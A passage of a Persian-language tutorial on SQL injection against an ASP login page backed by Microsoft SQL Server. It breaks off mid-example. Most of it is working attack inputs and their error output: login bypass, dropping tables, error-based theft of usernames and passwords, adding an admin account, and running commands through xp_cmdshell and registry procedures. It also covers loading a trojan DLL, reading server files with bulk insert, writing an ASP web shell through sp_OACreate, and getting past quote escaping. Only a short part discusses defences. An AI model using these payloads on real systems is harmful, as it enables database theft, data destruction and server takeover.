<FONT Face='tahoma' color='cc0000'>
<H1>
<BR><BR>
<CENTER>ACCESS DENIED</CENTER>
</H1>
</BODY>
</HTML>
<%
Response.end
return;
}
else
{
```

```
Session("username") = "" + rso("username");
%>
<FONT Face='tahoma' color='00cc00'>
<H1>
<CENTER>ACCESS GRANTED<BR>
<BR>
Welcome,
<% Response.write(rso("Username"));
Response.write( "</BODY></HTML>" );
Response.end
}
}
function Main()
{
//Set up connection
var username
var cn = Server.createobject( "ADODB.Connection" );
cn.connectiontimeout = 20;
cn.open( "localserver", "sa", "password" );
username = new String( Request.form("username") );
if( username.length > 0)
{
Login( cn );
}
cn.close();
}
Main();
%>
```

نکته و مورد بحرانی در اینجا، در قسمت process_login.asp **می باشد که** Query String **را ایجاد می کند:**

```
var sql = "select * from users where username = '" + username + "' and password = '" + password + "'";
```

اگر کاربر موارد زیر را در نظر بگیرد، در ایـن هنگـام table **و جـدول** 'users' **پـاک خواهـد شـد و امکـان دسـتیابی بـرای همـه کاربران و** user **ها سلب خواهد شد:**

Username: '; drop table users--
Password: AnyThing! ☺

توالی کاراکتر '-' **که به صورت** '--' **می باشد، یک توالی و ترتیب** SINGLE LINE COMMENT **(یعنی توضیح یـک خطـی) در** Transact-SQL **می باشد و کاراکتر** ';' **آخر یک گزارش را در ابتدای دیگـری مشـخص مـی کنـد. کاراکترهـای** '--' **در انتهـای فیلـد** username **برای این نوع مخصوص از گزارش برای به پایان رسیدن بدون خطا لازم است.**

نفوذگر می تواند به عنوان هر کاربری لاگین شود، مفروض بر اینکه نـام username **را بدانـد، بـا اسـتفاده از ایـن ورودی زیـر، نفوذگر می تواند به عنوان اولین کاربر در جدول** users **لاگین شود:**

Username: admin'--

با ورودی Username: ' or 1=1— یا ... نفوذگر می تواند به عنوان یک کاربر کاملا ساختگی. با استفاده از ورودی زیر، لاگین شود:

Username: ' union select 1, 'fictional_user', 'some_password', 1--

دلیل کارکرد، این است که application گمان می کند که ردیف 'constant' که نفوذگر تعیین کرده، قسمتی از recordset بازیافت شده یا retrieve شده از بانک اطلاعاتی بوده است.

به دست آوردن اطلاعات با استفاده از پیام های خطا (Error Message):

به منظور دستکاری کردن اطلاعات در بانک اطلاعاتی، نفوذگر مجبور خواهد بود که ساختار بانک اطلاعاتی و جدول های مشخصی را تعیین کند. برای مثال جدول 'users' ما، شاید با استفاده از دستورات زیر ساخته شده باشد:

```
create table users( id int,
username varchar(255),
password varchar(255),
privs int
)
```

و کاربرانی، موارد زیر را وارد کرده اند:

```
insert into users values( 0, 'admin', 'r00tr0x!', 0xffff )
insert into users values( 0, 'guest', 'guest', 0x0000 )
insert into users values( 0, 'chris', 'password', 0x00ff )
insert into users values( 0, 'fred', 'sesame', 0x00ff )
```

در اینجا می خواهیم ببینیم که چطور نفوذگر می تواند یک User Account را برای خود ایجاد کند. بدون دانستن ساختار جدول 'users' این کار بعید به نظر خواهد آمد. حتی اگر او موفق شود، معنی و مقصود از فیلد 'privs' شفاف و واضح نیست. نفوذگر شاید یک '1' را وارد کند و برای خودش یک اکانت در سطح پائین در application ایجاد کند، در این هنگام او چه کسی خواهد بود بعد از دستیابی Administrative. خوشبختانه برای نفوذگر، اگر پیام های خطا از application بازگشت داده شوند (به صورت پیش فرض ASP behaviour)، او خواهد توانست کل ساختار بانک اطلاعاتی را تعیین هویت کند و هر مقداری را به وسیله اکانت در ASP Application و استفاده از آن برای وصل شدن به SQL Server می تواند بخواند.

مثال زیر از یک بانک اطلاعاتی supplied و اسکریپت های asp. برای توضیح دادن این که چگونه این تکنیک ها کار می کنند، استفاده می کند. نخست، نفوذگر می خواهد یک نام های جداولی که گزارش ها روی آنها فعالیت می کنند و نیز نام های فیلدها را به دست آورد. به این منظور، نفوذگر از جمله having از statement مربوط به select (select statement) استفاده می کند:

Username: ' having 1=1--

این گزارش باعث ایجاد پیام خطای زیر خواهد شد:

```
Microsoft OLE DB Provider for ODBC Drivers error '80040e14'
[Microsoft][ODBC SQL Server Driver][SQL Server]Column 'users.id' is invalid in the select list
because it is not contained in an aggregate function and there is no GROUP BY clause.
/process_login.asp, line 35
```

اکنون، نفوذگر نام جدول و ستون اول از اولین ستون را در گزارش می داند. آنها مـی تواننـد بـه سرتاسـر سـتون هـا بـه وسـیله معرفی کردن هرفید با یک جمله group by دست پیدا کنند. همان طور که در زیر نیز می بینید:

Username: ' group by users.id having 1=1--

که اجرای گزارش فوق باعث ایجاد خطای زیر خواهد شد:

Microsoft OLE DB Provider for ODBC Drivers error '80040e14'
[Microsoft][ODBC SQL Server Driver][SQL Server]Column 'users.username' is invalid in the select list because it is not contained in either an aggregate function or the GROUP BY clause.
/process_login.asp, line 35

سرانجام، نفوذگر به username با استفاده از گزارش زیر خواهد رسید:

' group by users.id, users.username, users.password, users.privs having 1=1--

که هیچ گونه پیام خطایی ایجاد نخواهد کرد و از لحاظ عملکرد برابر با دستور زیر خواهد بود:

select * from users where username = ''

بنابراین نفوذگر اکنون می داند که گـزارش تنهـا بـه جـدول users برخـورد و سـرو کـار خواهـد داشـت و از سـتون هـای id, username, password, privs نیز استفاده می کند. اگر او بتواند نوع هر ستون را نیز مشخص کند، کاری مفید انجام شـده اسـت. ایـن کار به وسیله استفاده از پیـــــام های خـــــــــطای type conversion ممکن خواهد شد. مانند:

Username: ' union select sum(username) from users--

این کار باعث به دست آوردن مزیت حقیقت می شود !!!! که SQL Server سعی می کند که جمله 'sum' را قبل از تعیین اینکـه آیا تعداد فیلدها در دو row set برابر است،به کار ببرد و apply کند. سعی بر محاسبه 'sum' در یک فیلد متنی پیام زیر را در بر خواهد داشت:

Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]The sum or average aggregate operation cannot take a varchar data type as an argument.
/process_login.asp, line 35

که این پیام به ما خواهد گفت که فیلد 'username' از نوع 'varchar' می باشد. اگر، از طرف دیگر، ما سعی بر محاسـبه sum() از یک نوع عددی داشته باشیم، قطعا پیام خطایی دریافت خواهیم کرد که به ما می گوید، شماره فیلدها در هر دو row set تطـابق نـدارد و برابر نیستند:

Username: ' union select sum(id) from users--

Microsoft OLE DB Provider for ODBC Drivers error '80040e14'
[Microsoft][ODBC SQL Server Driver][SQL Server]All queries in an SQL statement containing a UNION operator must have an equal number of expressions in their target lists.
/process_login.asp, line 35

ما می توانیم از این تکنیک تقریبا برای تعیین کردن نوع هر ستونی در جدول یک بانک اطلاعـاتی اسـتفاده کنـیم. ایـن کـار بـه نفوذگر اجازه خواهد داد که یک گزارش الحاق شده به فرم خوبی را تزریق کند. مانند مثال زیر:

Username: '; insert into users values(666, 'attacker', 'foobar', 0xffff)--

هرچند، توانایی و استعدادهای این تکنیک در این جا ختم نمی شود. نفوذگر می تواند سودمندی هر پیام خطایی را که اطلاعـاتی درباره محیط یا بانک اطلاعاتی فاش می کند، به دست آورد. یک لیست از قالب رشته ها (FoRmAt StRiNgS) برای پیام هـای خطـای استاندارد می تواند به وسیله اجرای گزارش زیر به دست آید:

```
select * from master..sysmessages
```

امتحان کردن و بازرسی کردن این لیست، پیام های جالبی را برای شما به ارمغان خواهد آورد!!!

یک پیام بخصوص و مفید، type conversation را بازگو خواهد کرد. اگر سـعی کنیـد کـه یـک string را بـه integer تبـدیل کنید، جزئیاتی کاملی از رشته ها در پیام های خطا بازگشت داده خواهد شد. برای مثـال در مثـال login page کـه زده شـد، username زیر، نسخه به خصوص و ویژه SQL Server و سیستم عاملی که در سرور در حال اجرا است، را باز خواهد گرداند:

```
Username: ' union select @@version,1,1,1—
```

```
Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value
'Microsoft SQL Server 2000 - 8.00.194 (Intel X86) Aug 6 2000 00:57:48 Copyright (c) 1988-2000
Microsoft Corporation Enterprise Edition on Windows NT 5.0 (Build 2195: Service Pack 2) ' to a
column of data type int.
 /process_login.asp, line 35
```

این کار باعث می شود که مقدار ثابت '@@version' را به یک integer تبدیل کند، چرا که اولین سـتون در جـدول users بـه صورت integer وجود دارد. این تکنیک می تواند برای خواندن هر مقداری در هـر جـدولی در بانـک اطلاعـاتی اسـتفاده شـود. بـه دلیـل اینکه، نفوذگر در مورد usernames و passwords علاقه مند است، آنهـا علاقـه منـد هسـتند کـه user name هـا را از جـدول 'users' بخوانند. مانند زیر:

```
Username: ' union select min(username),1,1,1 from users where username > 'a'--
```

این کار باعث انتخاب کوچکترین user name که بزرگتر از 'a' هست می شود، و سعی مـی کنـد کـه آن را بـه integer تبـدیل کند و در نتیجه پیام خطای زیر آشکار خواهد شد:

```
Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the varchar value
'admin' to a column of data type int.
/process_login.asp, line 35
```

بنابراین نفوذگر اکنون می داند که اکانت 'admin' وجود دارد. او اکنون می تواند این کار را بین ردیف ها در جـدول بـه وسـیله عوض کردن هر user name جدید که به دست می آورد با جمله 'where' تکرار کند:

```
Username: ' union select min(username),1,1,1 from users where username > 'admin'--
```

که پیام زیر دریافت خواهد شد:

```
Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
```

[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the varchar value 'chris' to a column of data type int.
/process_login.asp, line 35

هنگامی که نفوذگر user name **ها را تعیین هویت کرد، او می تواند شروع به به دست آوردن** password **ها کند:**

Username: ' union select password,1,1,1 from users where username = 'admin'--

که در نتیجه پیام زیر آشکار خواهد شد:

Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the varchar value 'r00tr0x!' to a column of data type int.
/process_login.asp, line 35

یک تکنیک زیبا، به هم پیوستن همه user name **ها و** password **ها در یک رشته تک و** single string **می باشد و سپس تلاش برای تبدیل آن به** integer. **این کار نکته و موردی دیگر را توضیح خواهد داد.** Statement **های** Transact-SQL **می توانند هر دو، به صورت** string **و رشته ای در همان خط بدون تغییر دادن معنی و مفهوم آنها، باشند. اسکریپت زیر مقادیر آنها را به هم پیوند خواهد داد:**

```
begin declare @ret varchar(8000)
set @ret=':'
select @ret=@ret+' '+username+'/'+password from users where username>@ret
select @ret as ret into foo
end
```

نفوذگر با 'username' **زیر لاگین خواهد کرد (که تمام آن به صورت آشکار وجود دارد):**

Username: '; begin declare @ret varchar(8000) set @ret=':' select @ret=@ret+' '+username+'/'+password from users where username>@ret select @ret as ret into foo end—

این کار باعث ایجاد یک جدول با نام 'foo' **خواهد شد که حاوی یک ستون با نام** 'ret' **خواهد بود و سپس رشته ها و** string **های ما را در آن قرار خواهد داد. در حالت عادی، حتی یک کاربر سطح پائین قادر خواهد بود که یک جدول را در بانک اطلاعاتی** sample **یا بانک اطلاعاتی موقت درست کند:**

Username: ' union select ret,1,1,1 from foo--

و در نتیجه پیام خطای زیر ایجاد خواهد شد:

Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the varchar value ': admin/r00tr0x! guest/guest chris/password fred/sesame' to a column of data type int.
/process_login.asp, line 35

و سپس جدول را پاک می کند که به آن drop **می گوئیم:**

Username: '; drop table foo--

این مثال ها، با اشکال رویه و سطح انعطاف پذیری این تکنیک را پاک خواهند کرد. احتیاج به گفتن این نکته نیست که، اگر نفوذگر بتواند اطلاعات خطای ارزشمندی (rich error info.) از بانک اطلاعاتی به دست آورد، کار او بسیار آسان خواهد شد.

شیوه به کار بردن دستیابی های بیشتر

هنگامی که یک نفوذگر کنترل یک بانک اطلاعاتی را در دست دارد، آنها دوست دارند که این دستیابی را برای به دست آوردن، کنترل دستیابی در شبکه به دست آورند. این مورد به وسیله چندین راه به انجام خواهد رسید:

۱- استفاده از رویه تمدیدیه ذخیره شده برای اجرای دستورات به عنوان یک کاربر در SQL Server، در سرور بانک اطلاعاتی.
۲- استفاده از رویه ذخیره شده برای خواندن Registry Keys و یا SAM های نهانی (اگر SQL Server به عنوان Local System Account در حال اجرا می باشد).
۳- استفاده از دیگر رویه های تمدیدیه ذخیره شده برای نفوذ در سرور.
۴- اجرای گزارش ها روی سرورهای پیوندی.
۵- ساخت رویه های تمدیدیه ذخیره شده به صورت سفارشی برای اجرای اکسپلویت ها از میان پروسه SQL Server.
۶- استفاده از جمله bulk insert برای خواندن هر فایلی در سرور.
۷- استفاده از bcp برای ساخت text file های اختیاری در سرور.
۸- استفاده از رویه های سیستمی sp_OACreate, sp_OAMethod و sp_OAGetProperty برای ایجاد نرم افزارهای Ole Automation (Active X) که تقریبا هر کاری که ASP می تواند انجام دهد را انجام بدهند.

اینها تنها تعدادی از طرح های حمله بود که بیشتر برای نفوذ استفاده می شد. ممکن است که یک نفوذگر قادر باشد با دیگر رویه ها نیز کارکند. این تکنیک ها را در یک مجموعه از نفوذهای SQL Server که شناخته شده هستند، ارائه خواهم دید که این کار تنها به منظور نمایش اینکه این عملیات چگونه ممکن هستند و همچنین ارائه دادن قابلیت و قدرتی که با آن بتوان SQL را Injection کرد. پس همه مواردی که در بالا ذکر شد را در خطوط بعد دقیق تر مورد بحث خواهیم می دهیم (در قبل مختصر اشاره شده بودند):

[xp_cmdshell]:

رویه های ذخیره شده مازاد یا Extended Stored Proceudre در اصل DLL ها یا Dynamic Link Library های ترجمه و Compile شده ای هستند که از یک SQL Server خاص استفاده می کنند. آنها به Application های SQL Server اجازه دستیابی به قدرتی مانند C/C++ می دهند، و قابلیت هایی بسیار مفید هستند.

تعدادی از extended stored procedures در SQL Server به صورت Built-In قرار دارند، و کارهای گوناگونی را انجام می دهند که از جمله می توان به فرستادن ایمیل و عمل کردن و به هر حال فعل و انفعال داشتن بر روی Registry، اشاره کرد. xp_cmdshell یک extended stored procedures به صورت Built-In می باشد که اجازه اجرای دستورهای خطی دلخواه را می دهد. برای مثال:

دستور زیر یک لیست از شاخه ای که پروسه های SQL Server در حال حاضر در آنجا در حال اجرا هستند، می گیرد:

```
exec master_xp_cmdshell 'dir'
```

تا زمانی که SQL Server به صورت عادی چه به عنوان اکانت محلی سیستمی (LOCAL SYSTEM ACCOUNT) و چه به عنوان اکانت حوزه کاربری (DOMAIN USER ACCOUNT) در حال اجرا باشد، نفوذگر می تواند عملیات زیادی برای آسیب رساندن انجام دهد.

[xp_regread]:

یکی از مجموعه های مفید به صورت BUILT-IN به عنوان extended stored procedures، توابع و دستورات xp_regXXX هستند. که در زیر لیستی از آنها را می بینید:

xp_regaddmultistring
xp_regdeletekey
xp_regdeletevalue
xp_regenumkeys
xp_regenumvalues
xp_regread
xp_regremovemultistring
xp_regwrite

در زیر به مثال هایی در رابطه با استفاده از این توابع می پردازیم. دستور زیر تعیین می کند که آیا اشتراک ها و Share های NULL-SESSION روی سرور فعال و قابل دسترس هستند یا خیر:

```
exec xp_regread HKEY_LOCAL_MACHINE, 'SYSTEM\CurrentControlSet\Services\lanmanserver\parameters',
'nullsessionshares'
```

دستور زیر تمامی Community های SNMP که در روی سرور Configure شده است را آشکار می کند. با این اطلاعات، تازمانی که Community های SNMP گرایش به تغییرات به ندرت داشته باشید و بین چندین host به اشتراک گذاشته شده (Shared) باشند، یک نفوذگر شاید حتی بتواند وسایل شبکه را در همان منطقه و Area از شبکه، پیکربندی مجدد و Reconfigure کند:

```
exec xp_regenumvalues HKEY_LOCAL_MACHINE, 'SYSTEM\CurrentControlSet\Services\snmp\parameters\validcommunities'
```

تصور اینکه نفوذگر چگونه ممکن است از این توابع برای خواندن SAM استفاده کند، پیکربندی سرویس یک سیستم را تغییر دهد (این تغییرات با Reboot شدن ماشین انجام خواهند شد)، یا یک دستور دلخواه را دفعه بعد که فردی به سرور Log in شد، اجرا کند، بسیار راحت است.

سرورهای پیوند یافته یا Linked Servers

SQL Server مکانیزمی را ارائه می دهد که به وسیله آن می توان سرورها را به صورت linked شده یا پیوند یافته قرار داد. که در حقیقت به یک گزارش و Query اجازه خواهد داد که در یک بانک اطلاعاتی موجود در سرور، اطلاعات را در بانک اطلاعاتی دیگری دستکاری و ویرایش کند.

این لینک ها در جدول master..sysservers ذخیره شده است. اگر یک سرور پیوندی برای استفاده از رویه sp_addlinkedsrvlogin پیکربندی شده باشد، یک پیوند اعتبار یافته ایجاد خواهد شد و همه سرورهای پیوندیافته به یکدیگر بدون

اینکه مجددا به آنها لاگین کرد، می توانند مورد استفاده و دسترس قرار بگیرند. تابع 'openquery' به گزارش ها اجازه خواهد داد که در برابر سرورهای پیوندی اجرا شوند.

دیگر رویه های ذخیره شده یا Extended Stored Procedure ها

در این قسمت رویه های ذخیره شده که کم و بیش مورد استفاده بعضی از مدیرها قرار می گیرد و متاسفانه یا خوشبختانه عواقب و اثرات بسیار زیان باری را به همراه خواهد داشت.

مطالعه این قسمت می تواند شما را بهتر و بیشتر با کار **Extended Stored Procedure** ها آشنا کند. لذا این قسمت توجه متمایزی را می طلبد.

procedure و رویه xp_servicecontrol به یک کاربر اجازه Start/Stop/Pause/Stop سرویس ها را می دهد:

```
exec master..xp_servicecontrol 'start', 'schedule'
exec master..xp_servicecontrol 'start', 'server'
```

جدول زیر بعضی از extended stored procedures های مفید را نشان می دهد:

رویه	توضیحات
xp_availablemedia	درایوهای قابل دسترس را در سیستم نمایش می دهد.
xp_dirtree	باعث نمایش یک Directry Tree می شود.
xp_enumdsn	منابع اطلاعاتی ODBC را در سرور شمارش می کند.
xp_loginconfig	اطلاعاتی مربوط به حالت امنیت یا Security Mode مربوط به سرور را آشکار می سازد.
xp_makecab	به کاربر اجازه می دهد تا یک آرشیو فشرده یا Compressed Archive از فایل های روی سرور بسازد (یا هر فایلی که سرور امکان دستیابی به آنرا داشته باشد).
xp_ntsec_enumdomains	حوزه ها و Domain هایی که سرور امکان دستیابی به آنها را دارد، می شمارد.
xp_terminate_process	یک پروسه در حال اجرا را خاتمه می دهد که اینکار با دادن PID یا Processing ID مربوط به آن پروسه انجام می شود.

رویه های ذخیره شده ی سفارشی یا Custom Extended Stored Procedure ها

رویه API یک رویه نسبتا ساده هست که نسبتا هم وظیفه ساده ای برای ایجاد DLL برای Extended Stored Procedure دارد که کدهای مشکوک و مخربی را منتقل می کند. چندین راه برای آپلود کردن DLL روی یک SQL Server به وسیله Command Line وجود دارد، همچنین متد ها و روش هایی دیگری وجود دارد که مکانیزم های ارتباطی گوناگون را درگیر می سازند که می تواند اتوماتیک شوند. به عنوان مثال می توان به HTTP Download ها و FTP Script ها اشاره کرد.

هنگامی که فایل DLL، در یک ماشینی وجود دارد که SQL Server می تواند به آن دسترسی پیدا کند – لزوما لازم نیست خود SQL Server باشد – نفوذگر می تواند extended stored procedure را به کمک این دستور اضافه کند (در این مثال، رویه ما یک تروجان وب سرور بسیار کوچک هست که فایل های سیستم سرورها را export می کند):

```
sp_addextendedproc 'xp_webserver', 'c:\temp\xp_foo.dll'
```

در این هنگامی Extended Stored Procedure می تواند به وسیله یک فراخوانی در حالت عادی اجرا شود:

```
exec xp_webserver
```

هنگامی که رویه اجرا شد، می توان به کمک دستور زیر آنرا پاک کرد:

```
sp_dropextendedproc 'xp_webserver'
```

Import کردن فایل های Text به داخل جداول

با استفاده از جمله ی 'bulk insert'، امکان insert کردن یک فایل text به داخل یک جدول موقتی وجود دارد. به سادگی می توان جدولی مانند زیر ایجاد کرد:

```
create table foo( line varchar(8000) )
```

و سپس یک دستور bulk insert را برای insert کردن اطلاعات از یک فایل، به کار برد. مانند زیر:

```
bulk insert foo from 'c:\inetpub\wwwroot\process_login.asp'
```

آن وقت اطلاعات می توانند به وسیله هر یک از تکنیک های پیام خطای بالا، یا به وسیله select 'union' برداشت و Retrieve شوند. که در union select، حالت ترکیب اطلاعات در text file با اطلاعات که به صورت عادی به وسیله application برگشت داده می شوند، وجود دارد. این حالت برای به دست آوردن Source Code مربوط به اسکریپت های ذخیره شده در بانک اطلاعاتی سرور یا حتی Source مربوط به اسکریپت های ASP مفید می باشد.

ایجاد Text File به وسیله BCP یا Bulk Copy Program

این کار به طور مساعدانه ای راحت است که text file های دلخواه را بـه وسـیله تکنیـک ‘oppsite’ بـه ‘bulk insert’ ایجـاد کنیم. متاسفانه این کار یک ابزار command line به نام BCP یا Bulk Copy Program نیاز دارد.

تا زمانی که bcp، از خارج پروسه SQL Server به بانک اطلاعاتی دسترسی دارد، به یک LOGIN احتیـاج خواهـد داشـت. بـه دست آوردن این کار در حالت عادی زمانی که نفوذگر می تواند چیزی ایجاد کند یا از حالت امنیتی integrated سود ببرد و سـرور نیـز برای استفاده از آن پیکربندی شده باشد، کار سختی نیست. قالب Command Line مانند زیر می باشد:

```
bcp "SELECT * FROM test..foo" queryout c:\inetpub\wwwroot\runcommand.asp -c -Slocalhost -Usa -Pfoobar
```

پارامتر S سرور است کـه در کـدام حالـت گـزارش را اجـرا کنـد، پـارامتر U، همـان User Name هسـت و پـارامتر P همـان Password می باشد که در این مثال foobar می باشد.

اسکریپت های ActiveX اتوماتیک (ActiveX Automation) در SQL Server

بعضی از Extended Stored Procedures های Built-It عرضه شده اننـد کـه اجـازه ایجـاد اسـکریپت هـای ActiveX Automation را در SQL Server می دهند. این اسکریپت ها از لحاظ وظیفه به میـزان اسـکریپت هـای در حـال اجـرا در محتویـات Windows Scripting Host، یا ASP Script ها می باشد. آنها معمولا در VB Scripts یا Java Script نوشته می شـوند و شـی ها (object) ی Automation ایجاد می کنند و با آنها متقابل اثر می کنند.

یک اسکـــریپت Automation نوشته شده در Transact-SQL به این روش، می تواند هر کاری را که یک ASP Script یا WSH Script از قدرت انجام آن بر می آید، انجام دهد. تعدادی مثال در زیر به منظور توضیح اهداف ارائه داده شده است:

۱- این مثال از شی ‘wscript.shell’ برای ایجاد یک نمونه از NotePad استفاده می کند (البته می تواند هر دستوری دیگـر نیـز باشد):

```
-- wscript.shell example
declare @o int
exec sp_oacreate 'wscript.shell', @o out
exec sp_oamethod @o, 'run', NULL, 'notepad.exe'
```

این کار در مثال ما، می تواند به وسیله معین کردن User Name زیر انجام شود (توجه کنید که همه ی آینها در یک خط می آیند):

```
Username: '; declare @o int exec sp_oacreate 'wscript.shell', @o out exec sp_oamethod @o, 'run', NULL, 'notepad.exe'--
```

۲- این مثال از شی ‘scripting.filesystemobject’ برای خواندن یک فایل شناخته شده استفاده می کند:

```
-- scripting.filesystemobject example - read a known file
declare @o int, @f int, @t int, @ret int
declare @line varchar(8000)
exec sp_oacreate 'scripting.filesystemobject', @o out
exec sp_oamethod @o, 'opentextfile', @f out, 'c:\boot.ini', 1
exec @ret = sp_oamethod @f, 'readline', @line out
while( @ret = 0 )
```

```
begin
print @line
exec @ret = sp_oamethod @f, 'readline', @line out
end
```

۳- این مثال یک اسکریپت ASP ایجاد می کند که هر دستوری را که در رشته گزارش (QueryString) به آن Pass شود، اجرا می کند:

```
-- scripting.filesystemobject example - create a 'run this' .asp file
declare @o int, @f int, @t int, @ret int
exec sp_oacreate 'scripting.filesystemobject', @o out
exec sp_oamethod @o, 'createtextfile', @f out, 'c:\inetpub\wwwroot\foo.asp', 1
exec @ret = sp_oamethod @f, 'writeline', NULL,
'<% set o = server.createobject("wscript.shell"): o.run( request.querystring("cmd") ) %>'
```

حتما به یاد داشته باشید که هنگامی که در یک Windows NT4 یا IIS4 اجرا می شود، دستورات بیرون فرستاده شده به وسیله این اسکریپت ASP، به عنوان اکانت System یا System Account اجرا می شوند. اما در IIS5، آنها به عنوان یک اکانت حدپائین یا Low-Privileged به صورت IWAM_xxx اجرا می شوند.

۴- این مثال (مقداری جعلـــــی و دستکاری شده است) قابلیـــــت و انعـــــطاف پذیری تکنیک را شرح مـی دهـد. کـه از شـی speech.voicetext استفاده می کند که سبب می شود SQL Server به صحبت و گفت و گو مجبور شود (!!!) :

```
declare @o int, @ret int
exec sp_oacreate 'speech.voicetext', @o out
exec sp_oamethod @o, 'register', NULL, 'foo', 'bar'
exec sp_oasetproperty @o, 'speed', 150
exec sp_oamethod @o, 'speak', NULL, 'all your sequel servers are belong to,us', 528
waitfor delay '00:00:05'
```

این کار در مثال ما همچنین می تواند به وسیله استفاده از User Name زیر انجام شود (به خاطر داشته باشید که این مثال تنها یک اسکریپت را Injection نمی کند، بلکه همزمان به application به عنوان Admin نیز log in می شود):

```
Username: admin'; declare @o int, @ret int exec sp_oacreate 'speech.voicetext', @o out exec sp_oamethod
@o, 'register', NULL, 'foo', 'bar' exec sp_oasetproperty @o, 'speed', 150 exec sp_oamethod @o, 'speak',
NULL, 'all your sequel servers are belong to us', 528 waitfor delay '00:00:05'--
```

رویه های ذخیره شده یا Stored Procedures

دانش اجدادی (!!) متذکر می شود که اگر یک ASP Application از Stored Procedure ها در بانک اطلاعاتی استفاده کند، عملیات SQL Injection ممکن نخواهد بود. این گفته همیشه و ۱۰۰٪ مصداق ندارد و به وضعیتی که Stored Procedure ها از ASP Script فراخوانی می شوند، بستگی دارد. در اصل، اگر یک گزارش پارامتری شده (Parameterised) اجرا شود، و پارامترهای User-Supplied با امنیت به گزارش عبور داده شوند (pass شوند)، در این هنگام SQL Injection در حالت عادی غیر ممکن خواهد بود. هر چند، اگر نفوذگر بتواند هر اثری را روی بخش غیر اطلاعاتی (None-Data Parts) یک گزارش که در حال اجرا است، اعمال کند، آنوقت خواهد توانست بانک اطلاعاتی را کنترل کند. قواعد کلی به صورت زیر می باشند:

- اگر اسکریپت ASP، یک SQL Query String ایجادمی کند که به سمت سرور Submit شده است، در برابر SQL Injection آسیب پذیر خواهد بود، حتی اگر از Stored Procedure ها استفاده کند.
- اگر اسکریپت ASP، از یک شی رویه (Procedure Object) استفاده کند که Assignment های پارامترها را به Stored Procedure پنهان کند، (از قبیل ADO Command Objec استفاده شده با مجموعه پارامترها) آن وقت، به صورت کلی امن خواهد بود، به هر حال، این مورد بستگی به انجام و کاربرد شی دارد.

بدیهی است که، از زمانی که تکنیک های حمله جدیدی در حال کشف است، بهترین تمرین هنوز معتبر ساختن همه ورودی های کاربر می باشد. برای توضیح نکته در تزریق گزارش Stored Procedure، رشته SQL، زیر را اجرا کنید:

```
sp_who '1' select * from sysobjects
or
sp_who '1'; select * from sysobjects
```

در هر دو حال، گزارش اضافه شده بعد از Stored Proceudre هنوز اجرا می شود.

انجام عملیات SQL Injection به صورتی پیشرفته تر

موردی اغلب شاید به آن برخورد کنیم این است که یک WEB Application کاراکترهای single quote (و بقیه) را Escape می کند و در غیر این صورت اطلاعات که به وسیله کاربر Submit شده را Message می کند، از قبیل Limit و محدود کردن طول آن.

در این قسمت، بعضی تکنیک ها را مورد بحث قرار می دهیم که می توانند نفوذگران را در Bypass کردن بعضی از دفاعیات واضح در برابر SQL Injection کمک کند.

رشته های بدون Quote:

بعضی از اوقات، depeloper ها شاید یک application را به وسیله escape کردن همه کاراکترهایی که single quote دارند، امن کرده باشند. این کار شاید به وسیله VB Script و تابع replace انجام شود یا چیزی شبیه به زیر:

```
function escape( input )
input = replace(input, "'", "''")
escape = input
end function
```

مسلما این کار باعث اجتناب از همه نمونه مثال های حمله در سایت مورد نظر ما خواهد شد. باید گفت که حذف کاراکتر ; نیز کمک بسیاری خواهد کرد. هر چند، در یک Application بزرگتر، مثل آن است که چندین مقدار که کاربر برای ورودی در نظر گرفته است، عددی باشد. این مقادیر 'delemiting' احتیاج ندارد، و بنابراین شاید نقطه ای ارائه دهند و ایجاد کنند که نفوذگر می تواند SQL را inject کند.

اگر نفوذگر، تصمیم به ایجاد یک مقدار رشته ای (String Value) بدون استفاده از quotes داشته باشد، می تواند از تابع char استفاده کند. برای مثال:

```
insert into users values( 666,
char(0x63)+char(0x68)+char(0x72)+char(0x69)+char(0x73),
char(0x63)+char(0x68)+char(0x72)+char(0x69)+char(0x73),
0xffff)
```

عبارت فوق یک گزارش می باشد که حاوی هیچ کاراکتر Quote نیست، اما String ها و رشته ها را به یک جدول تزریق خواهد کرد. البته اگر نفوذگر قصد استفاده از User Name & Password عددی را ندارد، جمله زیر می تواند به خوبی ایفای نقش کند:

```
insert into users values( 667,
123,
123,
0xffff)
```

تا زمانی که SQL Server به صورت خودکار و اتوماتیک عدد صحیح را به مقدار varchar (رشته ای – کاراکتری) تبدیل می کند، تغییر نوع، غیر صریح خواهد بود.

Second-Order SQL Injection:

حتی اگر یک Application همیشه Single Quote ها را جا بگذارد (Escape)، یک نفوذگر هنوز هم قادر به Inject کردن SQL (به همان مقداری که اطلاعات از بانک اطلاعاتی به وسیله Application استفاده مجدد می شوند)، خواهد بود. برای مثال، یک نفوذگر شاید در یک Application به وسیله User Name و Password زیر Register شود:

```
Username: admin'--
Password: password
```

در این هنگام Application به درستی Single Quote را جا می گذارد (Escape) و نتیجه اینکه یک جمله insert مانند زیر خواهیم داشت:

```
insert into users values( 123, 'admin''--', 'password', 0xffff )
```

باید گفت که Application به کاربران اجازه تغییر رمزعبورشان را می دهد. کد ASP Script، قبل از Set کردن رمز عبور جدید، ابتدا، اطمینان می یابد که کاربر رمزعبور قبلی خود (Old Password) را به درستی وارد کرده باشد. کد شاید چیزی شبیه به زیر باشد:

```
 username = escape( Request.form("username") ); oldpassword = escape( Request.form("oldpassword")
); newpassword = escape( Request.form("newpassword") );
var rso = Server.CreateObject("ADODB.Recordset");
var sql = "select * from users where username = '" + username + "' and password = '" + oldpassword + "'";
rso.open( sql, cn );
if (rso.EOF)
{
```

گزارش برای Set کردن پسوردهای جدید نیز شاید چیزی شبیه زیر باشد:

```
sql = "update users set password = '" + newpassword + "' where username = '" + rso("username") + "'"
```

در توضیح باید گفت که rso(“username”)، در واقع همان User Name می باشد که از گزارش ‘login’ استخراج و برداشت شده است. با کاربر معین admin’--، خط گزارش، در واقع گزارشی مانند زیر ایجاد خواهد کرد:

```
